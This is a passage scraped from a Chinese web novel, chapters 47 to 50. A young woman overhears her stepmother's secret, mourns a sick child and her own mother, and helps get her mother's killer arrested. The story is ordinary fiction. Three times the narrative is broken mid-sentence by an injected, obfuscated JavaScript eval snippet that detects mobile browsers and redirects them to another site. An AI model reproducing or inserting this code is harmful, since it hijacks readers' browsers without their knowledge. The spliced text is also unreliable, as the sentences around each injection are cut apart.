她走近了些,刚打算进入筒子楼碰碰运气,还没走到门口,就听见一阵人声熟悉的人声。 她回头,一间低矮的集装箱紧临着筒子楼,蜷缩在采不到光的角落…… 47. 窃听&脱险 谭佳宜朝集装箱的方向走,走近些,一阵刺耳的女声传来。 里屋的两人应该是在争吵,女人声音有些激动,却听不清男人的声音。 不过谭佳宜可以确定,这个正声嘶力竭撒泼打滚的女人,是程婉乔无疑。 谭佳宜将脚步放到最轻,尽量不发出一点动静。 她逐渐向集装箱的方向逼近,企图听清他们在说什么。 靠近了些,男人的声音也愈发清晰起来,对话声完完整整地传到谭佳宜耳中。 “都说了别再来找我了,生活费我每月都会直接打你卡上。” “我……我就是想去看看你,看看你过得好不好。” 男人声音低哑,颤颤巍巍地声音极尽卑微。 程婉乔冷哼一声,接着道:“我过得好的很,不劳你操心。” 对方还没完,即使程婉乔如此淡漠,他还是很有耐心地问着:“那……航航怎么样?今年八岁该上……” 没等他说完,程婉乔就着急打断:“航航很好。只要他的父亲是谭墨行,他的未来自然差不到哪去。” “但我想见见他……” 对方像是在乞求,程婉乔却近乎发疯地拒绝:“你永远不要来找他,他根本不认识你!” 一声怒喝后,转而归于平静:“你要是真为他好,就让他一直待在谭家,别来找我,也别来找他。等他长大了,我会告诉他的。” 这话听着不对劲,谭佳宜瞳孔骤然一缩,这个惊天秘密猝不及防地在她脑中炸开,她惊得捂住嘴,双腿也开始发软, 莫非谭佳航不是谭墨行亲生的? 对话没完,谭佳宜来不及消化刚刚的信息,就得强迫自己集中精神接着听下去。 “我知道了。婉乔,但当年的事真能瞒得住吗?我担心……” “有什么好担心的,三四年都过去了,谁还会没事将它翻出来。而且死无对证的事情,只要你不出现,就没人会知道。” 此话一出,谭佳宜的心沉下来,她攥紧衣角的手将内里的衬衫濡湿一片,身上像是有火在烧般燥热难耐。 冷风在耳边呼呼地吹,巷子里“磨剪子”的吆喝声拉得悠长,而谭佳宜却什么也听不见。 屋里一下子安静下来,对话声戛然而止。 谭佳宜没时间震惊,她得在程婉乔出来前离开。 刚一抬脚,一声铁皮摩擦墙壁的滋啦的声将沉寂打破。 谭佳宜没留意,脚下一个废旧铁皮桶险些将她绊倒。 “谁!” “好像有人,我出去看看。” 谭佳宜有些懵,前面的路被封住,后面出巷子的路敞亮,没有任何掩体,距离拐弯处还有一段路程,就算现在跑过去也来不及。 谭佳宜心里咯噔一下。 糟了,要暴露了。 就在谭佳宜犹豫之际,一只暗处的手突然拽住她的手腕,一把将她拉过去。 谭佳宜还没反应过来,人就已经在筒子楼中。 “嘘,别出声。” 那人离她很近,近到鼻尖几乎要挨到,温热的气息扑面而来。 谭佳宜抬头,对上那双熟悉的眼眸。 此人不是别人,正是周泽楷! 他这么快就找过来了。 谭佳宜进巷子前,打量过周围的环境。 这里人多口杂,地形复杂,不得不让她产生戒备之心。所以她提前就给周泽楷和七哥发了定位,以防万一。 毕竟熟悉这件事的人,也就只有他们俩了。 伴随开门吱呀声,程婉乔和男人从屋子里出来。 屋外空空如也,只见巷子里偶有几个闲散人员经过,倒是没有可疑之处。 程婉乔扑了个空,心下却还是不放心,她开始往筒子楼的方向走。 “估计刚刚就是只猫窜了过去,巷子里的野猫还是挺多的。”男人不以为意地说。 程婉乔没理他,只是接着往前走。 要是没听错,她刚刚好像是听到了一阵脚步声。 很近,像是就在门前。 程婉乔看了一眼筒子楼,整座楼安安静静的,连上下楼的动静都没有。她试探性地往里走。 “你去哪儿?”男人跟在她身后问。程婉乔还是没作声,自顾自地往里走。 “最多就是路人,这里的人我都熟,没人会闲的无聊来听墙角的。你别多心。”男人劝道。 程婉乔似乎是着了魔一样,完全不信男人的话。 她将一楼搜了个遍,就连楼梯口堆着的废旧自行车和杂物也没放过。还是一无所获。 她没放弃,准备上楼。 透过楼梯间隙,周泽楷和谭佳宜在楼上俯视着楼下的一切。心早已提到了嗓子眼。 两人蹲在二楼平转角的平台,刚好能通过窗户看到楼下的全部。 他们本想再上几层,如此肯定更安全更保险,但刚要继续往上时,就看见程婉乔走了进来。 程婉乔一步步往上走,脚步声也愈发逼近,变得异常清晰。 这下,应该真的躲不过了。 就在两人已经不抱希望时,一声熟悉的铁皮声划破天际。 楼梯间的脚步突然顿住,接着声音越来越小。 好险!楼道里的两人可算松了口气。 周泽楷小心探出脑袋往下看了眼,程婉乔和那个男人正急匆匆地往集装箱的方向赶。 “站住,鬼鬼祟祟地干嘛!”男人朝巷子口大喊。 一个清瘦的背影从巷子中飞奔而去,一会儿功夫便不见了影。 男人在后面没追上,程婉乔怕害怕被人看见,也着急忙慌地往外赶。 她给那男人使了个眼神,示意他别追了,也别跟着她。 脚蹲了太久,站起来的时候已经麻得没有知觉。 谭佳宜想扶着墙试着站起来,起身到一半,双腿便瘫软下来,一步也挪动不了。 脚虽然动弹不得,但单看脸上表情,却看不出什么波澜。 周泽楷没注意,看她不动,还在想她是不是还在疑心他们没走,想再等等。 周泽楷刚要开口说他们应该可以下去了,结果胳膊就被人拽住。 少女的劲不小,力道十足。猝不及防的重量压在周泽楷胳膊上,让他半边身子一下子往一侧倾倒。 他转身,离谭佳宜很近,近到仅剩一拳的距离。 少女睫毛轻颤,眼眸下流转着莫名的情绪,让周泽楷看不透。 谭佳宜蹙起眉毛,唇瓣开合:“我脚蹲麻了。” 此话一出,刚才旖旎浪漫的气氛被顷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129008|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻击碎。 周泽楷哦了声,赶忙搀好谭佳宜,扶着人慢慢站起。 好不容易缓过劲来,谭佳宜恢复往日的利落,将握在周泽楷胳膊上的手拿开。 周泽楷看着空空荡荡的袖子,整个人也像是空落落的,眼底闪过一丝失意。 两人下了楼,假装若无其事地往外走。 集装箱的门没关严,路过集装箱的时候,谭佳宜特意往里瞟了一眼。 里面一个男人正在抽烟,个子不高,皮肤暗黄,像是风吹日晒后留下的痕迹。 谭佳宜飞快掏出手机,找了个清晰又安全的角度,按下快门,将男人的正脸拍照留档。 拍完照后,二话不说立即拉着周泽楷换了个方向往巷子外走。 路上,周泽楷忍不住问:“你跟着程婉乔,然后发现程婉乔是来找他的?” 谭佳宜点头,接着平静地说:“我们要找的人就是他,他很有可能就是当年在螺丝上做手脚的人。” 经过一段时间消化,谭佳宜已经完全冷静下来。 周泽楷惊讶中带着兴奋:“没想到这么快就能找到,我们锁定了人,之后的证据应该也很快就能搜集到。” 谭佳宜若有所思地点头,将要说的话吞回去:“嗯,但愿吧。” 走出巷子,谭佳宜没有回家的心思,她这会不想看见程婉乔,也不想看见谭家航。 她刚刚才平复好心情,但心中还在思量那番对话。 要是谭佳航不是谭墨行的亲生儿子,程婉乔又有什么理由留在谭家,她和她那个野种儿子都得滚出去。 谭墨行知道后也不会原谅他们的。 谭佳宜攥住拳头,用力咬紧后牙槽,眼神中有杀气腾起。 周泽楷注意到她脸色不对劲,试探着问:“你……还好吗?是还发生了什么事吗?” 谭佳宜没说,周泽楷却能精准地猜到。 周泽楷将手在谭佳宜面前晃晃,张开合上,手上什么都没有。 “看好了。” 谭佳宜搞不清楚他要干嘛,只觉他这个举动傻得很,也没细看,脸上透露着不耐烦。 说罢,周泽楷再次摊开掌心,像是变魔术般变出一颗糖来。 粉红色的糖衣在霓虹灯下依旧闪闪发光,是谭佳宜最爱的草莓味。 “喏,吃了糖就笑一笑。” 谭佳宜觉得他幼稚,但还是接过了糖。 “对了,怎么就你一个,七哥呢?”谭佳宜问。 周泽楷怔愣住,他没想到她也通知了七哥,“我没看到他啊,他估计没来吧。” 谭佳宜不放心,还是给七哥发了个报平安的消息,顺便问了句他在哪儿。 对面迟迟没回话,谭佳宜也就没太在意,想着他刚刚许是没看到消息。 殊不知,巷子的另一个尽头,一个少年正倚在墙上喘着粗气。 昏黄灯光下脸上的十字疤尤为明显。 刚刚周泽楷拉住谭佳宜的一幕苏以恒尽收眼底。明明他也来了,他离她难么近,却还是比别人慢了一步。 所以,一步慢,就真的步步慢吗? 这个问题他想不清楚,也不想想了。 他知道,角落里的默默守护也未尝毫无意义,只要她平安,她快乐,他就心甘情愿。 48. 走神&噩耗 才刚过六点,天就已经黑了。 夜幕降临,新月在迷蒙的夜色中笼起一层面纱,月影婆娑,让人看不真切。 晚高峰的车流涌动,车水马龙的街道流转着各色车灯、信号灯。 谭佳宜自顾自地往前走,像是失了魂一般。 直到一声鸣笛,才彻底将她唤醒。 不知什么时候,对面的信号灯悄无声息地变成红色,谭佳宜没注意,依旧麻木地往前走。 司机大哥似是在打电话,眼睛是直的,就只瞅着前面是绿灯,二话不说加了脚油门。 过斑马线车速只增不减,要不是周泽楷眼疾手快地把人往后带了带,恐怕是要酿成一场车祸。 “有没有长眼睛啊!红灯没看见?” 陡然刹车手中的手机一个没拿稳,掉在座椅缝隙,司机大哥一转刚才灿若桃花的笑意,从车窗探出头就开始破口大骂。 边骂边侧着身子在车内掏手机,可惜一顿忙活仍然无果。 “对不起,实在不好意思。” 周泽楷和那司机大哥连声鞠躬道歉,将谭佳宜拉回了马路边。 “你刚刚怎么回事?很危险的知道吗?”周泽楷着急,语气也难得有点冲。 谭佳宜整个人还没缓过劲来,还兀自望着马路出神。 “我……” “对不起,刚刚谢谢了。”谭佳宜淡淡道。 周泽楷打量了谭佳宜一番,看她头发被风吹得凌乱,衣服拉链也没拉好,大喇喇地敞开,里面只一件单薄的衬衫。 他忍不住弯腰,一边帮她拉拉链,一边说:“总感觉你状态不对劲,从巷子出来后就没说过几句话,而且老是走神。到底怎么了?” 周泽楷细心地帮她把帽领理好,手悬在她发丝两侧没动。 “头发,快挡住眼睛了。”周泽楷在她发侧晃过,提醒道。 谭佳宜默不作声地将头发别到耳后,总算是感觉到不方便,又将套在手腕上的皮筋取下来,简单扎了个马尾,这才真正从游离状态回过神来。 “你刚刚说什么?”谭佳宜反问。 周泽楷看她呆愣的眼神终于恢复了往常的精明,意识到自己刚刚的话是白说了,只好无奈重复了遍:“你老走神,肯定是发生了什么才会这样,你是不是还有事瞒着我?” 谭佳宜嘴硬:“没有。” 周泽楷不信:“真的没有?” 还是一样的回答,谭佳宜将脸转向别处:“没有。” 周泽楷不死心:“你看着我的眼睛说。” 说罢,他将脸转到谭佳宜的方向,谭佳宜没反应过来,一抬眸,就对上了他的眼睛。 眼神清亮,像是能看破一切。 谭佳宜彻底泄了气,终于放下最后一丝顾虑。 “如果你被人欺骗了,你会怎么办?”她盯着周泽楷的眼睛,认真道。 周泽楷被她这么个深刻的问题搞得有些晕头转向,脑海中飞速思考着什么情况会让谭佳宜问出这么个问题。 他沉思片刻后,缓缓开口:“嗯……得分人。” “如果是很亲密的人呢?” “亲密的人也得看是不是重要的人,有些人和你的血缘或者地缘很近,算是亲密的人,但这些人未必是你认为重要的人。如果是不在乎的人就无所谓,但如果是重要的人欺骗了我,那我应该会对这段关系产生怀疑吧。”周泽楷理性分析道。 谭佳宜若有所思地点头,接着将刚刚听到的身世秘密说了出来:“谭家航,就是程婉乔儿子,可能不是谭墨行亲生的。” 周泽楷心下一惊,他怎么都没想到是这么一回事。方才集装箱里男人和女人的拉扯他也略略见识了一番,这不得不让他产生一个大胆的猜想:“所以,程婉乔和刚刚那人……” 谭佳宜听出他的意思,稍稍点头,说道:“谭佳航可能是他的儿子。” “……” 沉默半晌,谭佳宜接着缓缓道:“谭墨行我猜不透,程婉乔在他心里到底有几分分量,但刚刚那人我能肯定,程婉乔对于他来说,肯定是特别重要的人。” “所以,如果我们能让那个人明白,程婉乔其实一直都在利用他,可能对于查清当年的真相会有帮助。”周泽楷接着道。 “是这个理。” 六点多正值饭点,街道两侧的食品铺子已经挤满了人,腾腾热气白烟升起,混合的食物香气扑面而来。 这时,两人才终于感受到饥饿。 谭佳宜一天都没吃什么,她没胃口,但也耐不住胃酸的作用,现在空空如也的胃被胃酸侵蚀,一种灼烧感在胃部隐隐作痛。 路过一家包子铺,恰好赶上一批新鲜出炉的包子,白白胖胖的暄软大包子在蒸笼架上围成一圈,看着很有食欲。 这会难得没人排队,周泽楷提议:“吃包子吗?可以买两个先垫一点。” 喷香的气息诱惑着谭佳宜,本来不想吃东西的,但被周泽楷这么一怂恿,她也就答应了下来。 周泽楷买了两个大包子,分开装,一人一个,他将其中一个递给谭佳宜,“喏,牛肉粉丝的。” 牛肉粉丝包是谭佳宜最喜欢的包子馅。大多数包子味道都比较清淡,少有辣口的包子,但这牛肉粉丝的却做得是香辣风味的,很符合谭佳宜的口味。 只是这个包子馅不常见,许多包子铺都没有这个馅儿,这会遇上了,也是很巧。 谭佳宜接过包子,打开咬了一口。 不出所料,牛肉鲜香,粉丝爽滑,火辣辣的包子在这寒冬天吃再合适不过,吃得人浑身上下暖烘烘的。 还是熟悉的味道。 谭佳宜淡定地吃着包子,吃完,食物转移了胃酸的火力,让胃粘膜能免受侵袭,胃部的疼痛感果然得到了有效缓解。 不过一旁的周泽楷却像是在受刑。 谭佳宜吃完后,只见他还剩下半个包子。 周泽楷通红的双眼几乎快要挤出眼泪,嘴唇也镀上了一抹鲜艳的红,冷白皮被火辣的包子呛得通红,倒是难得的好气色。 谭佳宜瞟了眼他手上的包子,也是牛肉粉丝馅的,她看他嘴里呼呼吐气的样子有些可笑,忍不住笑出了声:“有那么辣吗?为什么我吃的时候没什么感觉?” 周泽楷看她站着说话不腰疼,只是道:“能吃辣的人永远体会不到不能吃辣的人吃辣的痛苦。” “这么痛苦还讲得出绕口令。”谭佳宜打趣道。 “要不我去给你买杯喝的,解解辣。” 谭佳宜说罢,去旁边的小摊买了杯豆浆,递给周泽楷。 周泽楷喝过豆浆,这才终于缓过来。 谭佳宜注意到他手上只剩下一个空荡荡的袋子,包子应该是硬撑着吃完了。 为了不浪费食物,还挺努力的。 “下次还是买不辣的吧,何必自己找罪受。” “不是我想,估计是老板拿错了。我明明要的萝卜粉丝的,结果他装了两个牛肉粉丝。”周泽楷苦笑两下,“不过牛肉粉丝还挺好吃的,就是有点辣。我刚好锻炼锻炼吃辣的能力,以后没准要经常吃辣呢。” 这句看似不经意的话,却让谭佳宜听出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157520|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样的意味,被冷风刮得刷白的脸上瞬间染上一层红晕。 以后也要吃辣,是因为身边的人吃辣吗? 想得还挺远。 谭佳宜和谭墨行说有东西落在锦江丽苑,今晚就不回去了,周泽楷想着干脆陪她一起,也和父母报备了声。 两人打算打车回小区,去小区门口吃面。 这会交通拥挤,拦车并不容易,前面好几次要么是有人,要么是被截胡了。 两人等了足足十分钟,也没拦到车,只好边往回折,边看看有没有空的出租车。 好不容易才拦到一辆出租车,谭佳宜的电话与此同时也突然响了。 是李叔。 这么晚了,是有什么急事吗? 心下疑惑,谭佳宜接通电话。 还没等她开口询问,对面就传来一阵沙哑急促的声音:“佳宜,乐乐……乐乐……” “李叔,您别急,慢慢说。” 李叔的话音带着些哽咽,声音和平时相比都有些变化,谭佳宜有种不祥的预感。 “乐乐情况不太好,医生已经下病危通知书了,不知道熬不熬得过今晚……” 谭佳宜心下一沉,拿着手机的手都在发抖。 她记得上个月才去看过乐乐,小姑娘那时明明还活蹦乱跳的,医生都说有好转的迹象,怎么会…… 谭佳宜觉得命运好像又和她开了个玩笑,她希望不是真的。 “去儿童医院。” 利落的几个字一出,司机随即调转了方向。 二人一到医院,立即飞奔向38层。 熟悉的彩绘动画布景,和之前任何一次光顾的感受都不同。 温暖感荡然无存,只有刺鼻的消毒水味营造出的幽森冷清,连七彩祥云都失去了往日的光彩。 李叔倚在病房门口,脸上写满了绝望。眼睛中的红血丝一看就是好几天没休息好。 他几乎快要崩溃,好在七哥早点赶了过来。 乐乐已经从普通病房转移到重症监护室,谭佳宜从往里看了眼,小小的身子旁边是各种硕大无比的医疗器械,乐乐戴上了呼吸机,惨白的脸上没有一丝血色,看着十分虚弱。 倏而,谭佳宜的眼泪涌上眼眶,已经不是一滴两滴的地步,早已汇成两股水流倾泻而下。 她捂着嘴,泣不成声。 周泽楷和乐乐认识的时间最短,但小姑娘面对疾病仍然乐观的样子让他至今难忘,他没想到老天也没能眷顾这个被爱意包围的女孩,还是要将她的生命夺去。 几人在门外候着,明明等待死神审判的不是他们,但他们焦灼的心却也好比等待凌迟的犯人。 时间好像被拉长一般,短短几个小时却好似过了一个世纪。 沉默中几人互相依偎,试图通过平摊痛苦来减轻折磨。 十二点的钟声敲响,乐乐还是没能挺过了今天。 在距离零点只剩五分钟时,微弱不稳的心电曲线还是拉成一条直线,乐乐的生命走到了尽头。 医生出来后只是无奈叹气,让家属进去送最后一程。 几人来到床边,除去惨白的面色,小姑娘的表情还是十分安详,隔着呼吸机,可以看见她微微上扬的嘴角,仿佛只是睡着了,做着香甜的梦。 李叔拉起女儿的小手,这会看见女儿,他竟然止住了哭声。 他摩挲这女儿的小手,眼里盛满父爱。 谭佳宜不知道李叔现在是什么心情,但她知道,尽力了就无悔,至少她做过他的女儿,他当过她的爸爸,他们曾经也很幸福。 49. 祭奠&归案 远处的天空呈现铅灰色,片片乌云低垂。 阳光被完全遮挡,世界仿佛失去了色彩,不见一丝光亮。 墓地周围是一片死寂,墓碑林立,青灰色的大理石庄严肃穆,神圣而不可侵犯。 四人立在一块刚砌起的碑前,沉默地看着石碑。 上面新镌的字迹写着:爱女李乐园之墓。 李叔实在撑不住了,跪倒在碑前痛哭。 他这几天忙着安葬乐乐,几乎没怎么合过眼。 从医院出来后,李叔精神一直极度紧绷,却自始至终没再流过一滴泪。 这会儿女儿是真的入土安息了,他才终于反应过来,自此以后,他和乐乐阴阳分隔,彻底成了两个世界的人。 李叔哭得肝肠寸断,将这几天积聚的情感全都发泄出来。 纵使乐乐的突然离世对所有人来说都是一个沉重的打击,但对李叔尤甚。 毕竟他早已将乐乐当作自己的亲生女儿。 看李叔如此悲伤,谭佳宜强忍住在眼眶中打转的眼泪。 她告诉自己不能再伤心了,这样只会让李叔更加悲伤。 她得率先振作起来。 周泽楷上前两步,想去安慰李叔,但被谭佳宜拦下来,“让李叔哭一会吧,哭过就好了。” 周泽楷撤回两步,三人继续静默。 对于现在的李叔来说,或许这种无声的陪伴就是最好的安慰。 李叔终于止住了眼泪,他缓缓起身。 看着李叔单薄消瘦的背影,谭佳宜觉得李叔最近好像更瘦了。 眼角的褶皱加深,眼睛里布满血丝,连头上的青丝都开始滋滋往外冒,肉眼可见的沧桑疲倦。 岁月催人老,不敌一夜愁。 原来人真的可以在这么短的时间有这么大的变化。 突然间痛失所爱,李叔仿佛一夜间老了十岁。 临走前,谭佳宜将怀里的花在乐乐碑前放好。 盛放的红掌花鲜艳夺目,恰如女孩生前一般活泼热烈,她的生命短暂而美丽。 墓园门口,七哥主动提出将李叔送回去,谭佳宜周泽楷和他们不顺路,所以只能兵分两路。 天色渐暗,墓园中静得让人发慌,一种幽森恐怖的气氛包绕着他们。 周泽楷想着早点回去的好,但谭佳宜走着走着却突然顿住。 周泽楷疑惑:“怎么了?” 谭佳宜低头不说话,片刻沉默过后,终于缓缓开口:“我想去看看妈妈。” 周泽楷差点就忘了,这里葬着的不止有乐乐,还有她妈妈白阿姨。 谭佳宜低着头,长发垂下来挡住半边脸,周泽楷看不清她的表情,却捕捉到她低沉声音中的一丝颤抖。 她估计还憋着呢,肯定很难受吧。 周泽楷走到她身边,点点头,陪她往回折。 谭佳宜三年多都没来过,加上天色渐暗,要想找到母亲的墓碑并不容易。 好在周泽楷方向感极强,轻车熟路地将她往里带。 这条路不知走了多久,从黄昏一路走到黑夜彻底降临。 谭佳宜终于开口,打破了冗长的沉寂:“这条路你怎么这么熟?” 摸黑也能找到的地方,一定走了不止一次。 周泽楷只是淡淡地回答:“阿姨走后,我来看过她几次,自然是熟悉。” 除去初中时每年白言清祭日和清明节周泽楷会来,前一世他还和谭佳宜一起来过几次。 粗略估计,也有十几回了,所以他不可能不熟悉。 但周泽楷怕谭佳宜多想,又补充了句:“你知道的,我方向感一向好,小时候走过一遍的路都能记得七七八八。” 谭佳宜看着周泽楷轻描淡写的样子,内心却生出些许愧疚。 所以几次是多少次? 一个外人这些年都来看过妈妈好多次,而自己却一次也没有。 她叹了口气,忽而意识到,自己以前不过是一直在逃避。 谭佳宜没有说话,跟着他继续走。 周泽楷的脚步终于停下,两人到达白言清墓碑前。 墓碑前有束花,虽然枯萎了,但看得出时间并不久远,还没有干到一丝水分也不剩。 谭佳宜问他:“这是你放的?” 周泽楷隐约看见碑前白色的百合,他记得,之前自己每年放的就是百合,于是轻轻点头。 不过除去周泽楷的那束百合,碑前就再无别的花了。 这说明什么? 说明这么些年能记着白言清的也没几个人,来看她的,就更寥寥无几了。 至于她的父亲谭墨行,应该早就把这个前妻给忘了。 谭佳宜肩膀开始抽动,眼角的眼泪自然滑落。 周泽楷在轻拍过她的肩头,说道:“想哭就哭吧,哭出来就好了。” 谭佳宜再也忍不住了,在乐乐碑前,在李叔面前她还能强装坚强,但在三年未至的母亲碑前,她再也忍不住了。 声嘶力竭,一如刚刚悲痛的李叔。 “妈妈,女儿不孝,这些年都没能来看你。”谭佳宜抽抽噎噎地说着。 “妈妈,我好想你…… 我……真的好想你……” 谭佳宜苦累了,她终于哭不动了。 周泽楷搀着她,才让她还能保持身体的平衡。 谭佳宜将脸上的泪抹了抹,眼睛死死盯着墓碑上刻着的一列字:爱妻白言清之墓。 她嘴里喃喃道:“谭墨行不配,他不配!” 情绪彻底平复下来,谭佳宜蹲下抚摸着大理石碑面。 碑石的冰凉感从透过指尖蔓延到全身,可是谭佳宜却并不觉得冷,更多的是温暖,是力量。 谭佳宜起身,走之前最后看了眼母亲的墓碑,眼里闪着光,留下坚定的一声:“妈妈放心,我一定会将公道给你讨回来。” 说完,谭佳宜抬头看了眼天空。 黑色的丝绸在眼前展开,上面缀着点点繁星。 夜幕深邃,星光闪烁。 周泽楷和她一起仰望星空,他指着夜空对她说:“每个逝去的人都会化作天上的一颗星,他们或许不在我们身边,但宇宙永恒,星河无际,他们永远都在那里,会永远守护他们爱的人。” * 谭佳宜回去后,又联系廖阿姨询问了当年监控的事情。 她将那天拍到的照片给廖洁看,查过监控,果然找到了蛛丝马迹。 监控是廖洁托公安局的熟人才调到的,一般人不会去专门查看,也不一定有门路。 这是查案人的阻力,同时也是作案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183003|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的软肋。 作案人肯定没想到当年的监控有备份,也没想到还会有人能将当年的录像翻出来细看。 对比过后,一个熟悉的身影被锁定。 案发时间附近,那人在监控中统共出现了三次。 第一次是案发前一天,展品已经全部布置完毕,那人以观展游客的身份前来参观,和一众游客没有两样,正常地行走,正常地观展,并没有做什么手脚。 只是谭佳宜细心注意到,在模型附近,他停留时间明显比其他地方要长,而且还专门绕到了模型的背面。 这是反常之一。 第二次是案发当天上午,恰好展厅突然停电,所以拍不清楚模型附近的情况。 但可以确定的是,那个人又再次出现。 停电前他刚来展厅,停电后他匆匆离开展厅。 只拍到一个模糊的背影,但对照衣服,依旧可以确定是同一个人。 这是反常之二。 第三次,也就是案发当时。 屏幕中,母亲突然被庞然巨物砸中,地上留下一滩血迹。 这是谭佳宜第一次见到当时的场景,她惊得说不出话来,嘴唇都在发抖。 钢铁无情,何况是看着就难以承受的钢筋,谭佳宜可想而知,母亲当时是有多疼。 画面还在继续,现在关键是要找证据。 谭佳宜没时间难过,目光从母亲身上抽离出来。 白言清倒地后,一群人围上来,一个熟悉的身影再次出现。 在最外层的边缘,一个根本不会有人注意的角落,那个人隔着人群,瞥了眼血泊中的白言清。 这是反常之三。 完整的作案过程已经清晰,这个作案人一看就是有精心计划,只不过作案手法也没有多高明。 从前期踩点,到案发当天制造混乱做手脚,再到案发之后到现场核查。 作案人估计是专门守着看附近没人,只是没想到周泽楷会突然冒出来。 他害怕没砸对人,宁愿冒着风险也要在第一时间回来查看。 这一点说起来,还得感谢周泽楷在其中差了一脚,让作案人又留下一丝破绽。 逻辑链已经基本情清晰,警方那边也开始追捕嫌疑人。 一切行动在默不作声中逼近小巷的集装箱,在程婉乔毫不知情下危险已然降临。 那人叫王启德,40岁,康宁人。 康宁是汉城市管辖下的一个县,也是谭墨行的老家。 巧就巧在,王启德、谭墨行,还有程婉乔,都是康宁人。 而且王启德和程婉乔还是同乡,算是一起长大的青梅竹马。 谭佳宜知道这些信息后,心里已然将所有真相全部猜透。 这种郎有情,妾无意的戏码太普通,只是此情郎也是个大冤种,被心狠歹毒的小妾耍得团团转,还能心甘情愿给她卖命。 谭佳宜在心里冷笑一声,王启德为程婉乔害死了白言清,让程婉乔如愿嫁给谭墨行,从此过上了锦衣玉食的好日子。 是什么让王启德宁愿背上一桩命案,宁愿自己蜗居在集装箱也要这么做? 可能不止是为了程婉乔,更是为了他儿子 ——谭家航。 谭佳宜叹了口气,这下就都说得通了。 50. 彩虹&书房 今年冬天不算冷,一场正儿八经的大雪都还没下过。 阳光普照的日子不多,但今日赶巧,谭佳宜从警局刚出来,就被刺眼的阳光晃得眼睛睁不开。 冬日的暖阳洒在谭佳宜身上,只是刚从空调开到30摄氏度的警局出来,谭佳宜还是忍不住打了个哆嗦。 谭佳宜长叹一口气,白气便呼呼往外冒腾。 她低估了王启德对程婉乔的痴心,三天审问下来,王启德的嘴仍然严丝合缝,拒不承认程婉乔有参与当年的事。 态度坚决,将所有责任全揽到自己身上。 这块硬骨头让谭佳宜头大,找不到充分的证据,就没法定程婉乔的罪。 许是没有料到那天巷子里会接受到如此炸裂的信息,亦或是当时谭佳宜只顾着震惊,竟然忘记了录音这么重要的事情。 谭佳宜越想越懊恼,错失了这么重要的机会,现在再找,就更难办了。 拖着沉重的步子往前走,谭佳宜迷茫地望着光秃秃的树梢出神,一时也想不到要去哪儿。 今天是除夕,本是阖家团圆的日子,但她一个人孤零零地漂泊在外。 毕竟,一个似有可无的名义上的家,对她来说连聊胜于无都谈不上。 这时,手机突然响了,谭佳宜一看,是谭墨行。 她没接,任由手机兀自响了整整一分钟。 响声终于消失,谭佳宜以为谭墨行是放弃了。 结果,没多时对方又打了过来。 谭佳宜无可奈何地接听,对面传来一声低沉的男声,不过语气还是很有耐心:“佳宜,最近怎么都不回家。今天除夕,你程阿姨专门包了饺子,回来一起过年吧。” 谭佳宜第一反应想找个理由拒绝,但转念又想,回去探探程婉乔的口风,说不定能有能找到遗漏的证据。 她答应道:“好,我晚点就回去。” 前一秒才将手机收回口袋,下一秒手机又响了。 谭佳宜有些不耐,极不情愿地掏出手机,她以为是谭墨行又想起什么事来找自己。 掏出手机一看,谭佳宜愣住,眉头舒展开,接通了电话。 “你在哪儿?我到警局门口了。” 少年声音清咧,像一股清泉缓缓流入谭佳宜的心间,被案件一筹莫展蹉跎干涸的心田也逐渐朗润起来。 她今天来得匆忙,到警局时才看见周泽楷的消息,简单回复后,谭佳宜也没放在心上。 没想到他还是来了。 谭佳宜远远往去,不见周泽楷的身影,她转身,少年的身影在柱子后显现出来。 周泽楷恰好也看过来,两人的视线碰上,相视一笑。 周泽楷迈着大步子走过来,阳光和他的笑容交相辉映,显得愈发的灿烂明媚。 两个梨涡若隐若现,光影错落间,像是嘴角挂着两颗宝石一般耀眼。 谭佳宜心头一颤,看得有些呆。 警局里的苦恼,家庭中的烦心,在这一刻因周泽楷的出现被翻土埋在心底,取而代之的是一丝久违的轻松越悦。 原来笑容的力量这样强大,真的能感染身边的人。 “想什么呢?”周泽楷问她。 谭佳宜回过神来:“没什么。” 周泽楷没过问王启德的事情,这些天的情况他也大致了解,谭佳宜既然主动提,八成是没什么进展。 他不想让她心情更糟,转而道:“带你去个地方。” “去哪儿?” 还没反应过来,谭佳宜只觉手掌一片温热,周泽楷牵起了她的手。 手指修长,比谭佳宜的手要大不少,谭佳宜不知道他要带她去哪里,但就是有种莫名的安全感。 她握住周泽楷的手,选择了相信他,跟着他的脚步。 两人在一个公园的广场上停下,场地空旷,只有零星几片落叶被风吹得打着卷儿。 谭佳宜放眼望去,周围并没有什么特别之处,她疑惑:“来这里干嘛?大中午广场上也没人啊?” 